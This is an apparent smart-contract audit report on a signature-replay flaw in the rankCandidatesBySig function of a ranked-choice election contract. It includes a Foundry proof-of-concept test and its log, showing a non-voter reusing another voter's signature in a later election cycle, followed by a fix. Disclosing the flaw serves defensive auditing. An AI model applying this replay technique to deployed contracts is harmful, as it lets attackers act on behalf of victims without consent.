Relevant GitHub Links
https://github.com/Cyfrin/2024-09-president-elector/blob/main/src/RankedChoice.sol#L50
Summary
The "rankCandidatesBySig" function is vulnerable to "Signature Replay" attack as attackers and malicious users can use the same signature which is signed by a legitimate voter to vote in different election cycles after the current election has ended after the 4 years duration.
Vulnerability Details
The "rankCandidatesBySig" function is used for validating a signature that should be signed from a legit voter with the intention to be executed on the current election cycle only. The signature is composed of the TYPEHASH , and the orderedCandidates. However the "s_voteNumber" which represents the current active election cycle is missed from the signature.
This allows for "Signature Replay" attack as the voter's intention is to give the signature to be executed only in the current election cycle, however with the current vulnerability and not including "s_voteNumber", users can replay this vote on any election cycle on behalf of the victim signer (Voter).
Impact
Leaving signatures to be replayed on any election cycle can have the following impacts:
Proof of Concept
To demonstrate the issue, first add the following helper function in the "rankedChoice.sol" file::
function hashTypedDataV4(
bytes32 structHash
) external view returns (bytes32) {
bytes32 hash = _hashTypedDataV4(structHash);
return hash;
}
Unit Test:
Then add the following unit test function in the "RankedChoiceTest.t.sol" file:
forge test --mt testRankCandidatesSignatureReplayAttack -vv
function testRankCandidatesSignatureReplayAttack() public {
(address bob, uint256 bobPk) = makeAddrAndKey("bob");
address[] memory voters_arr = new address[]();
voters_arr[0] = bob;
console.log("Add Bob to Voters List");
RankedChoice rankedChoiceInstance = new RankedChoice(voters_arr);
orderedCandidates = [candidates[0], candidates[1], candidates[2]];
bytes32 structHash = keccak256(
abi.encode(rankedChoiceInstance.TYPEHASH(), orderedCandidates)
);
bytes32 hash = rankedChoiceInstance.hashTypedDataV4(structHash);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(bobPk, hash);
bytes memory signature = abi.encodePacked(r, s, v);
(address john, ) = makeAddrAndKey("john");
vm.prank(john);
console.log(
"John who is not a voter calls orderedCandidates using Bob's Signature"
);
rankedChoiceInstance.rankCandidatesBySig(orderedCandidates, signature);
console.log(
"John who is not a voter calls orderedCandidates using Bob's Signature"
);
vm.prank(john);
address[] memory recordedRanking = rankedChoiceInstance
.getUserCurrentVote(bob);
console.log(
"John executed Bob's votes successfully on current election cycle"
);
for (uint256 i = 0; i < recordedRanking.length; i++) {
console.log(recordedRanking[i]);
}
assertEq(recordedRanking[0], candidates[0]);
assertEq(recordedRanking[1], candidates[1]);
assertEq(recordedRanking[2], candidates[2]);
console.log("Ending current election cycle");
vm.warp(block.timestamp + rankedChoiceInstance.getDuration());
vm.prank(john);
rankedChoiceInstance.selectPresident();
vm.prank(john);
rankedChoiceInstance.rankCandidatesBySig(orderedCandidates, signature);
vm.prank(john);
recordedRanking = rankedChoiceInstance.getUserCurrentVote(bob);
console.log(
"John maliciously executed Bob's votes on the new election cycle"
);
for (uint256 i = 0; i < recordedRanking.length; i++) {
console.log(recordedRanking[i]);
}
assertEq(recordedRanking[0], candidates[0]);
assertEq(recordedRanking[1], candidates[1]);
assertEq(recordedRanking[2], candidates[2]);
}
Output:
Ran 1 test for test/RankedChoiceTest.t.sol:RankedChoiceTest
[PASS] testRankCandidatesSignatureReplayAttack() (gas: 1635101)
Logs:
Add Bob to Voters List
John who is not a voter calls orderedCandidates using Bob's Signature
John who is not a voter calls orderedCandidates using Bob's Signature
John executed Bob's votes successfully on current election cycle
0x00000000000000000000000000000000000000C8
0x00000000000000000000000000000000000000C9
0x00000000000000000000000000000000000000ca
Ending current election cycle
John maliciously executed Bob's votes on the new election cycle
0x00000000000000000000000000000000000000C8
0x00000000000000000000000000000000000000C9
0x00000000000000000000000000000000000000ca
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.73ms (899.30µs CPU time)
Ran 1 test suite in 3.76ms (1.73ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Tools Used
Manual Code Review and Foundry Unit Test
Recommendations
It is recommended to include the number that represents the current election cycle "s_voteNumber" as part of the signature that needs to be validated by the "rankCandidatesBySig" function. This will prevent the signature from being used on different election cycles.